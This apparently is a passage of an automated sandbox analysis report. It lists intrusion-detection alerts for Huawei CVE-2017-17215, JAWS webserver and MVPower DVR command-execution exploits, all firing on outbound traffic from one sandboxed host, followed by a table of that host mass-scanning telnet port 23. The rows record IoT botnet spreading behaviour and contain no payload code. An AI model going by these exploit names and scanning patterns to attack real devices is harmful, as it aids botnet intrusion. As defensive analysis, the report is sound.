06/10/24-15:38:00.002985	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34412	37215	192.168.2.13	156.156.74.74
06/10/24-15:38:02.254862	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37108	80	192.168.2.13	35.202.251.10
06/10/24-15:37:59.945412	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53768	37215	192.168.2.13	156.31.27.232
06/10/24-15:38:02.691059	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53244	37215	192.168.2.13	156.140.104.46
06/10/24-15:38:02.730340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34008	37215	192.168.2.13	156.36.1.67
06/10/24-15:37:59.974792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44740	37215	192.168.2.13	41.38.164.93
06/10/24-15:38:02.660067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60882	37215	192.168.2.13	41.178.84.39
06/10/24-15:37:59.949732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59100	37215	192.168.2.13	156.216.173.116
06/10/24-15:38:00.183026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53528	37215	192.168.2.13	41.9.80.183
06/10/24-15:38:02.695812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42650	37215	192.168.2.13	197.231.249.66
06/10/24-15:38:02.706858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54022	37215	192.168.2.13	156.142.125.129
06/10/24-15:38:00.262299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47796	37215	192.168.2.13	197.194.180.37
06/10/24-15:38:02.502931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46240	37215	192.168.2.13	41.185.155.40
06/10/24-15:38:00.175015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56568	37215	192.168.2.13	197.123.247.90
06/10/24-15:38:00.168829	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60102	37215	192.168.2.13	197.140.21.238
06/10/24-15:37:59.952158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58850	37215	192.168.2.13	41.119.93.57
06/10/24-15:38:00.179072	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50148	37215	192.168.2.13	156.179.233.113
06/10/24-15:38:02.245859	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56832	80	192.168.2.13	27.226.253.249
06/10/24-15:38:00.037044	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33786	37215	192.168.2.13	156.179.78.181
06/10/24-15:38:02.788817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56284	37215	192.168.2.13	156.174.49.82
06/10/24-15:37:59.930930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32834	37215	192.168.2.13	156.249.70.243
06/10/24-15:38:00.273128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42026	37215	192.168.2.13	197.128.86.63
06/10/24-15:38:02.840962	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38198	37215	192.168.2.13	156.94.92.161
06/10/24-15:38:02.168603	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49010	80	192.168.2.13	181.110.113.163
06/10/24-15:38:02.669182	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36132	37215	192.168.2.13	197.46.18.42
06/10/24-15:38:02.641973	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57774	37215	192.168.2.13	197.167.195.153
06/10/24-15:38:02.685061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51404	37215	192.168.2.13	41.164.51.0
06/10/24-15:37:59.955351	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36294	37215	192.168.2.13	41.12.156.197
06/10/24-15:38:02.853487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37098	37215	192.168.2.13	156.201.215.148
06/10/24-15:37:59.990322	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37196	37215	192.168.2.13	41.89.132.28
06/10/24-15:38:02.802976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45606	37215	192.168.2.13	156.104.41.78
06/10/24-15:38:02.153497	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42924	80	192.168.2.13	120.43.7.228
06/10/24-15:38:02.786162	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52216	37215	192.168.2.13	156.193.153.44
06/10/24-15:38:02.300493	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54578	80	192.168.2.13	176.236.149.84
06/10/24-15:38:02.654413	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54110	37215	192.168.2.13	197.149.108.206
06/10/24-15:37:59.838365	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34216	80	192.168.2.13	39.251.150.235
06/10/24-15:38:00.024876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49654	37215	192.168.2.13	197.98.178.183
06/10/24-15:38:00.238848	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56428	37215	192.168.2.13	197.11.239.20
06/10/24-15:38:02.210410	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60628	80	192.168.2.13	213.195.115.2
06/10/24-15:38:00.177056	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39800	37215	192.168.2.13	156.160.21.128
06/10/24-15:37:59.760581	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35872	80	192.168.2.13	194.55.24.22
06/10/24-15:37:59.813573	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55620	80	192.168.2.13	46.11.146.222
06/10/24-15:38:00.231962	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49858	37215	192.168.2.13	156.36.86.237
06/10/24-15:38:02.807666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51654	37215	192.168.2.13	156.114.253.89
06/10/24-15:38:02.165801	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50600	80	192.168.2.13	201.158.211.234
06/10/24-15:38:02.763209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43930	37215	192.168.2.13	41.218.218.29
06/10/24-15:38:02.715141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46712	37215	192.168.2.13	197.57.43.253
06/10/24-15:38:02.093773	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48928	80	192.168.2.13	205.225.173.196
06/10/24-15:38:02.138778	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39426	80	192.168.2.13	104.230.30.200
06/10/24-15:38:02.142395	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43574	80	192.168.2.13	37.115.220.96
06/10/24-15:37:59.818135	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40194	80	192.168.2.13	111.31.234.213
06/10/24-15:38:02.218757	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47496	80	192.168.2.13	147.24.1.119
06/10/24-15:37:59.869779	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56778	80	192.168.2.13	124.198.230.56
06/10/24-15:38:02.905259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39822	37215	192.168.2.13	197.213.44.111
06/10/24-15:38:00.217260	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41384	37215	192.168.2.13	156.203.151.228
06/10/24-15:38:00.213146	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44874	37215	192.168.2.13	197.126.47.34
06/10/24-15:38:02.830775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37174	37215	192.168.2.13	41.72.64.165
06/10/24-15:38:02.314721	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37140	80	192.168.2.13	150.107.191.158
06/10/24-15:38:02.511176	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56274	37215	192.168.2.13	41.179.65.119
06/10/24-15:38:00.268899	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36416	37215	192.168.2.13	197.63.12.46
06/10/24-15:38:02.639864	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51214	37215	192.168.2.13	41.253.166.204
06/10/24-15:37:59.923381	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60882	37215	192.168.2.13	41.1.16.245
06/10/24-15:37:59.938715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45636	37215	192.168.2.13	197.11.121.199
06/10/24-15:38:02.205083	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42612	80	192.168.2.13	86.184.181.185
06/10/24-15:38:02.186823	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58402	80	192.168.2.13	148.107.14.82
06/10/24-15:38:00.186102	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53280	37215	192.168.2.13	156.226.178.21
06/10/24-15:38:00.243948	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38516	37215	192.168.2.13	197.161.103.248
06/10/24-15:38:02.652273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35332	37215	192.168.2.13	197.92.239.151
06/10/24-15:38:02.936119	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47328	37215	192.168.2.13	156.49.85.159
06/10/24-15:38:02.702109	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44722	37215	192.168.2.13	156.243.126.82
06/10/24-15:38:00.031359	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52142	37215	192.168.2.13	197.94.187.63
06/10/24-15:37:59.947535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39894	37215	192.168.2.13	197.56.205.250
06/10/24-15:38:00.029895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33426	37215	192.168.2.13	41.199.166.65
06/10/24-15:38:02.509844	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49560	37215	192.168.2.13	197.146.88.253
06/10/24-15:38:00.018435	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35452	37215	192.168.2.13	197.116.197.156
06/10/24-15:38:02.504959	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34860	37215	192.168.2.13	41.245.146.76
06/10/24-15:38:02.738142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44866	37215	192.168.2.13	156.111.149.77
06/10/24-15:38:00.196297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48942	37215	192.168.2.13	197.159.13.233
06/10/24-15:38:02.644240	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50450	37215	192.168.2.13	41.237.168.85
06/10/24-15:38:02.174641	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54940	80	192.168.2.13	195.117.82.212
06/10/24-15:38:02.107738	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38736	80	192.168.2.13	31.59.193.253
06/10/24-15:38:02.839299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57412	37215	192.168.2.13	197.106.115.54
06/10/24-15:38:00.219730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46594	37215	192.168.2.13	41.228.140.97
06/10/24-15:38:02.831855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49014	37215	192.168.2.13	41.139.202.223
06/10/24-15:38:00.005516	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53026	37215	192.168.2.13	197.57.68.100
06/10/24-15:38:00.184599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59998	37215	192.168.2.13	41.122.109.42
06/10/24-15:38:02.108388	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58042	80	192.168.2.13	120.80.140.214
06/10/24-15:37:59.989479	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58502	37215	192.168.2.13	197.156.129.89
06/10/24-15:38:00.205114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43116	37215	192.168.2.13	41.237.191.106
06/10/24-15:38:02.103189	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54126	80	192.168.2.13	153.123.46.180
06/10/24-15:37:59.804504	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35958	80	192.168.2.13	158.214.75.80
06/10/24-15:38:00.206692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47676	37215	192.168.2.13	41.39.55.229
06/10/24-15:38:00.260140	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46142	37215	192.168.2.13	41.112.119.1
06/10/24-15:38:02.508359	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58330	37215	192.168.2.13	197.240.30.85
06/10/24-15:38:00.247270	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59752	37215	192.168.2.13	41.215.9.130

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 10, 2024 15:37:58.433140039 CEST	26049	23	192.168.2.13	96.177.106.95
Jun 10, 2024 15:37:58.433172941 CEST	26049	23	192.168.2.13	173.87.116.193
Jun 10, 2024 15:37:58.433187008 CEST	26049	23	192.168.2.13	135.237.201.13
Jun 10, 2024 15:37:58.433192015 CEST	26049	23	192.168.2.13	51.4.201.163
Jun 10, 2024 15:37:58.433208942 CEST	26049	23	192.168.2.13	125.212.207.230
Jun 10, 2024 15:37:58.433207989 CEST	26049	23	192.168.2.13	32.204.162.123
Jun 10, 2024 15:37:58.433217049 CEST	26049	23	192.168.2.13	213.79.9.22
Jun 10, 2024 15:37:58.433243036 CEST	26049	23	192.168.2.13	107.185.45.46
Jun 10, 2024 15:37:58.433278084 CEST	26049	23	192.168.2.13	114.149.158.173
Jun 10, 2024 15:37:58.433278084 CEST	26049	23	192.168.2.13	68.161.203.180
Jun 10, 2024 15:37:58.433307886 CEST	26049	23	192.168.2.13	132.215.221.250
Jun 10, 2024 15:37:58.433309078 CEST	26049	23	192.168.2.13	146.77.88.171
Jun 10, 2024 15:37:58.433317900 CEST	26049	23	192.168.2.13	218.209.158.189
Jun 10, 2024 15:37:58.433331966 CEST	26049	23	192.168.2.13	18.181.89.22
Jun 10, 2024 15:37:58.433331966 CEST	26049	23	192.168.2.13	222.55.142.174
Jun 10, 2024 15:37:58.433357954 CEST	26049	23	192.168.2.13	87.202.96.40
Jun 10, 2024 15:37:58.433363914 CEST	26049	23	192.168.2.13	186.246.195.187
Jun 10, 2024 15:37:58.433372974 CEST	26049	23	192.168.2.13	93.190.24.11
Jun 10, 2024 15:37:58.433376074 CEST	26049	23	192.168.2.13	163.160.54.54
Jun 10, 2024 15:37:58.433409929 CEST	26049	23	192.168.2.13	172.136.165.150
Jun 10, 2024 15:37:58.433420897 CEST	26049	23	192.168.2.13	32.199.108.90
Jun 10, 2024 15:37:58.433458090 CEST	26049	23	192.168.2.13	181.116.62.108
Jun 10, 2024 15:37:58.433491945 CEST	26049	23	192.168.2.13	110.210.8.107
Jun 10, 2024 15:37:58.433491945 CEST	26049	23	192.168.2.13	50.0.195.92
Jun 10, 2024 15:37:58.433521032 CEST	26049	23	192.168.2.13	164.60.105.204
Jun 10, 2024 15:37:58.433549881 CEST	26049	23	192.168.2.13	144.47.107.187
Jun 10, 2024 15:37:58.433549881 CEST	26049	23	192.168.2.13	101.0.241.188
Jun 10, 2024 15:37:58.433552980 CEST	26049	23	192.168.2.13	45.211.194.205
Jun 10, 2024 15:37:58.433568954 CEST	26049	23	192.168.2.13	122.156.84.221
Jun 10, 2024 15:37:58.433569908 CEST	26049	23	192.168.2.13	79.64.51.144
Jun 10, 2024 15:37:58.433578968 CEST	26049	23	192.168.2.13	4.146.12.76
Jun 10, 2024 15:37:58.433588982 CEST	26049	23	192.168.2.13	91.118.235.84
Jun 10, 2024 15:37:58.433598042 CEST	26049	23	192.168.2.13	117.7.158.134
Jun 10, 2024 15:37:58.433619022 CEST	26049	23	192.168.2.13	153.63.20.187
Jun 10, 2024 15:37:58.433619022 CEST	26049	23	192.168.2.13	18.63.185.184
Jun 10, 2024 15:37:58.433646917 CEST	26049	23	192.168.2.13	72.115.76.96
Jun 10, 2024 15:37:58.433653116 CEST	26049	23	192.168.2.13	174.41.100.150
Jun 10, 2024 15:37:58.433655024 CEST	26049	23	192.168.2.13	52.34.186.234
Jun 10, 2024 15:37:58.433666945 CEST	26049	23	192.168.2.13	174.5.116.14
Jun 10, 2024 15:37:58.433670998 CEST	26049	23	192.168.2.13	112.8.190.180
Jun 10, 2024 15:37:58.433679104 CEST	26049	23	192.168.2.13	118.103.225.24
Jun 10, 2024 15:37:58.433687925 CEST	26049	23	192.168.2.13	17.149.191.92
Jun 10, 2024 15:37:58.433712006 CEST	26049	23	192.168.2.13	205.253.14.196
Jun 10, 2024 15:37:58.433720112 CEST	26049	23	192.168.2.13	101.64.143.75
Jun 10, 2024 15:37:58.433720112 CEST	26049	23	192.168.2.13	105.66.169.159
Jun 10, 2024 15:37:58.433722973 CEST	26049	23	192.168.2.13	85.10.50.135
Jun 10, 2024 15:37:58.433763981 CEST	26049	23	192.168.2.13	150.168.58.113
Jun 10, 2024 15:37:58.433772087 CEST	26049	23	192.168.2.13	99.177.223.89
Jun 10, 2024 15:37:58.433772087 CEST	26049	23	192.168.2.13	197.107.167.28
Jun 10, 2024 15:37:58.433784008 CEST	26049	23	192.168.2.13	93.133.135.212
Jun 10, 2024 15:37:58.433805943 CEST	26049	23	192.168.2.13	130.32.142.3
Jun 10, 2024 15:37:58.433816910 CEST	26049	23	192.168.2.13	194.114.95.197
Jun 10, 2024 15:37:58.433825970 CEST	26049	23	192.168.2.13	116.57.103.152
Jun 10, 2024 15:37:58.433828115 CEST	26049	23	192.168.2.13	71.255.88.187
Jun 10, 2024 15:37:58.433840036 CEST	26049	23	192.168.2.13	143.24.152.47
Jun 10, 2024 15:37:58.433842897 CEST	26049	23	192.168.2.13	130.63.23.172
Jun 10, 2024 15:37:58.433871031 CEST	26049	23	192.168.2.13	40.158.200.103
Jun 10, 2024 15:37:58.433882952 CEST	26049	23	192.168.2.13	145.110.175.175
Jun 10, 2024 15:37:58.433891058 CEST	26049	23	192.168.2.13	177.57.136.238
Jun 10, 2024 15:37:58.433907032 CEST	26049	23	192.168.2.13	9.123.70.97
Jun 10, 2024 15:37:58.433916092 CEST	26049	23	192.168.2.13	103.49.44.0
Jun 10, 2024 15:37:58.433923960 CEST	26049	23	192.168.2.13	141.254.243.59
Jun 10, 2024 15:37:58.433931112 CEST	26049	23	192.168.2.13	178.112.24.109
Jun 10, 2024 15:37:58.433936119 CEST	26049	23	192.168.2.13	161.223.29.209
Jun 10, 2024 15:37:58.433936119 CEST	26049	23	192.168.2.13	85.191.23.41
Jun 10, 2024 15:37:58.433955908 CEST	26049	23	192.168.2.13	183.72.192.189
Jun 10, 2024 15:37:58.433968067 CEST	26049	23	192.168.2.13	48.238.160.167
Jun 10, 2024 15:37:58.433970928 CEST	26049	23	192.168.2.13	117.118.248.143
Jun 10, 2024 15:37:58.433975935 CEST	26049	23	192.168.2.13	126.154.176.146
Jun 10, 2024 15:37:58.433996916 CEST	26049	23	192.168.2.13	187.195.80.142
Jun 10, 2024 15:37:58.433996916 CEST	26049	23	192.168.2.13	76.165.180.163
Jun 10, 2024 15:37:58.433998108 CEST	26049	23	192.168.2.13	217.177.129.226
Jun 10, 2024 15:37:58.434021950 CEST	26049	23	192.168.2.13	13.140.175.29
Jun 10, 2024 15:37:58.434034109 CEST	26049	23	192.168.2.13	69.167.90.241
Jun 10, 2024 15:37:58.434061050 CEST	26049	23	192.168.2.13	81.151.185.7
Jun 10, 2024 15:37:58.434077024 CEST	26049	23	192.168.2.13	68.155.180.148
Jun 10, 2024 15:37:58.434082031 CEST	26049	23	192.168.2.13	51.148.234.23
Jun 10, 2024 15:37:58.434082031 CEST	26049	23	192.168.2.13	175.241.195.149
Jun 10, 2024 15:37:58.434092999 CEST	26049	23	192.168.2.13	101.140.61.30
Jun 10, 2024 15:37:58.434098005 CEST	26049	23	192.168.2.13	137.246.157.211
Jun 10, 2024 15:37:58.434099913 CEST	26049	23	192.168.2.13	210.61.135.33
Jun 10, 2024 15:37:58.434111118 CEST	26049	23	192.168.2.13	66.78.100.75
Jun 10, 2024 15:37:58.434123039 CEST	26049	23	192.168.2.13	63.172.158.231
Jun 10, 2024 15:37:58.434129000 CEST	26049	23	192.168.2.13	121.35.12.55
Jun 10, 2024 15:37:58.434132099 CEST	26049	23	192.168.2.13	193.201.9.72
Jun 10, 2024 15:37:58.434153080 CEST	26049	23	192.168.2.13	46.243.129.164
Jun 10, 2024 15:37:58.434163094 CEST	26049	23	192.168.2.13	210.25.137.32
Jun 10, 2024 15:37:58.434179068 CEST	26049	23	192.168.2.13	180.53.80.121
Jun 10, 2024 15:37:58.434185028 CEST	26049	23	192.168.2.13	147.160.137.115
Jun 10, 2024 15:37:58.434185028 CEST	26049	23	192.168.2.13	219.181.2.23
Jun 10, 2024 15:37:58.434185982 CEST	26049	23	192.168.2.13	142.123.119.101
Jun 10, 2024 15:37:58.434197903 CEST	26049	23	192.168.2.13	200.53.128.206
Jun 10, 2024 15:37:58.434201956 CEST	26049	23	192.168.2.13	94.9.59.175
Jun 10, 2024 15:37:58.434233904 CEST	26049	23	192.168.2.13	199.226.110.185
Jun 10, 2024 15:37:58.434236050 CEST	26049	23	192.168.2.13	43.44.29.202
Jun 10, 2024 15:37:58.434267998 CEST	26049	23	192.168.2.13	90.140.146.124
Jun 10, 2024 15:37:58.434267998 CEST	26049	23	192.168.2.13	94.209.92.63
Jun 10, 2024 15:37:58.434273005 CEST	26049	23	192.168.2.13	99.89.233.159
Jun 10, 2024 15:37:58.434278011 CEST	26049	23	192.168.2.13	187.166.197.228
Jun 10, 2024 15:37:58.434278011 CEST	26049	23	192.168.2.13	1.225.63.72
Jun 10, 2024 15:37:58.434307098 CEST	26049	23	192.168.2.13	9.251.204.255
Jun 10, 2024 15:37:58.434318066 CEST	26049	23	192.168.2.13	92.251.195.242
Jun 10, 2024 15:37:58.434350014 CEST	26049	23	192.168.2.13	95.26.230.125
Jun 10, 2024 15:37:58.434361935 CEST	26049	23	192.168.2.13	95.99.108.48
Jun 10, 2024 15:37:58.434375048 CEST	26049	23	192.168.2.13	81.34.197.205
Jun 10, 2024 15:37:58.434401989 CEST	26049	23	192.168.2.13	70.29.10.141
Jun 10, 2024 15:37:58.434405088 CEST	26049	23	192.168.2.13	83.193.101.13
Jun 10, 2024 15:37:58.434405088 CEST	26049	23	192.168.2.13	65.255.104.204
Jun 10, 2024 15:37:58.434405088 CEST	26049	23	192.168.2.13	133.203.197.14
Jun 10, 2024 15:37:58.434405088 CEST	26049	23	192.168.2.13	64.180.44.114
Jun 10, 2024 15:37:58.434449911 CEST	26049	23	192.168.2.13	192.172.175.62
Jun 10, 2024 15:37:58.434453964 CEST	26049	23	192.168.2.13	150.101.3.213
Jun 10, 2024 15:37:58.434456110 CEST	26049	23	192.168.2.13	77.190.186.11
Jun 10, 2024 15:37:58.434477091 CEST	26049	23	192.168.2.13	43.149.242.73
Jun 10, 2024 15:37:58.434478045 CEST	26049	23	192.168.2.13	176.89.11.89
Jun 10, 2024 15:37:58.434501886 CEST	26049	23	192.168.2.13	186.111.25.115
Jun 10, 2024 15:37:58.434509993 CEST	26049	23	192.168.2.13	83.49.85.75
Jun 10, 2024 15:37:58.434518099 CEST	26049	23	192.168.2.13	183.90.133.243
Jun 10, 2024 15:37:58.434529066 CEST	26049	23	192.168.2.13	71.51.98.100
Jun 10, 2024 15:37:58.434559107 CEST	26049	23	192.168.2.13	109.12.126.152
Jun 10, 2024 15:37:58.434606075 CEST	26049	23	192.168.2.13	115.162.142.239
Jun 10, 2024 15:37:58.434606075 CEST	26049	23	192.168.2.13	145.235.64.90
Jun 10, 2024 15:37:58.434606075 CEST	26049	23	192.168.2.13	12.96.189.43
Jun 10, 2024 15:37:58.434609890 CEST	26049	23	192.168.2.13	177.121.24.4
Jun 10, 2024 15:37:58.434609890 CEST	26049	23	192.168.2.13	119.80.226.193
Jun 10, 2024 15:37:58.434612036 CEST	26049	23	192.168.2.13	168.182.53.74
Jun 10, 2024 15:37:58.434616089 CEST	26049	23	192.168.2.13	39.244.108.92
Jun 10, 2024 15:37:58.434617043 CEST	26049	23	192.168.2.13	40.181.124.64
Jun 10, 2024 15:37:58.434612036 CEST	26049	23	192.168.2.13	126.212.72.53
Jun 10, 2024 15:37:58.434617043 CEST	26049	23	192.168.2.13	73.128.187.229
Jun 10, 2024 15:37:58.434623003 CEST	26049	23	192.168.2.13	163.136.163.39
Jun 10, 2024 15:37:58.434623003 CEST	26049	23	192.168.2.13	129.5.134.10
Jun 10, 2024 15:37:58.434623957 CEST	26049	23	192.168.2.13	75.111.13.174
Jun 10, 2024 15:37:58.434623957 CEST	26049	23	192.168.2.13	64.206.91.150
Jun 10, 2024 15:37:58.434623957 CEST	26049	23	192.168.2.13	178.117.4.9
Jun 10, 2024 15:37:58.434628010 CEST	26049	23	192.168.2.13	210.218.97.240
Jun 10, 2024 15:37:58.434628010 CEST	26049	23	192.168.2.13	139.178.63.163
Jun 10, 2024 15:37:58.434632063 CEST	26049	23	192.168.2.13	54.112.148.57
Jun 10, 2024 15:37:58.434643030 CEST	26049	23	192.168.2.13	47.64.82.110
Jun 10, 2024 15:37:58.434686899 CEST	26049	23	192.168.2.13	81.203.246.213
Jun 10, 2024 15:37:58.434688091 CEST	26049	23	192.168.2.13	129.61.85.218
Jun 10, 2024 15:37:58.434688091 CEST	26049	23	192.168.2.13	17.196.46.220
Jun 10, 2024 15:37:58.434689045 CEST	26049	23	192.168.2.13	78.219.247.77
Jun 10, 2024 15:37:58.434689045 CEST	26049	23	192.168.2.13	204.252.177.146
Jun 10, 2024 15:37:58.434689999 CEST	26049	23	192.168.2.13	2.227.96.19
Jun 10, 2024 15:37:58.434695959 CEST	26049	23	192.168.2.13	44.24.228.100
Jun 10, 2024 15:37:58.434696913 CEST	26049	23	192.168.2.13	172.251.219.162
Jun 10, 2024 15:37:58.434696913 CEST	26049	23	192.168.2.13	219.64.103.148
Jun 10, 2024 15:37:58.434705973 CEST	26049	23	192.168.2.13	129.1.232.147
Jun 10, 2024 15:37:58.434705973 CEST	26049	23	192.168.2.13	87.91.50.50
Jun 10, 2024 15:37:58.434725046 CEST	26049	23	192.168.2.13	187.164.122.146
Jun 10, 2024 15:37:58.434730053 CEST	26049	23	192.168.2.13	53.44.231.121
Jun 10, 2024 15:37:58.434732914 CEST	26049	23	192.168.2.13	195.177.175.168
Jun 10, 2024 15:37:58.434797049 CEST	26049	23	192.168.2.13	113.70.245.112
Jun 10, 2024 15:37:58.434797049 CEST	26049	23	192.168.2.13	158.180.163.146
Jun 10, 2024 15:37:58.434803009 CEST	26049	23	192.168.2.13	177.124.207.36
Jun 10, 2024 15:37:58.434803009 CEST	26049	23	192.168.2.13	103.235.177.65
Jun 10, 2024 15:37:58.434807062 CEST	26049	23	192.168.2.13	196.138.102.143
Jun 10, 2024 15:37:58.434808016 CEST	26049	23	192.168.2.13	130.203.207.74
Jun 10, 2024 15:37:58.434808016 CEST	26049	23	192.168.2.13	195.78.80.168
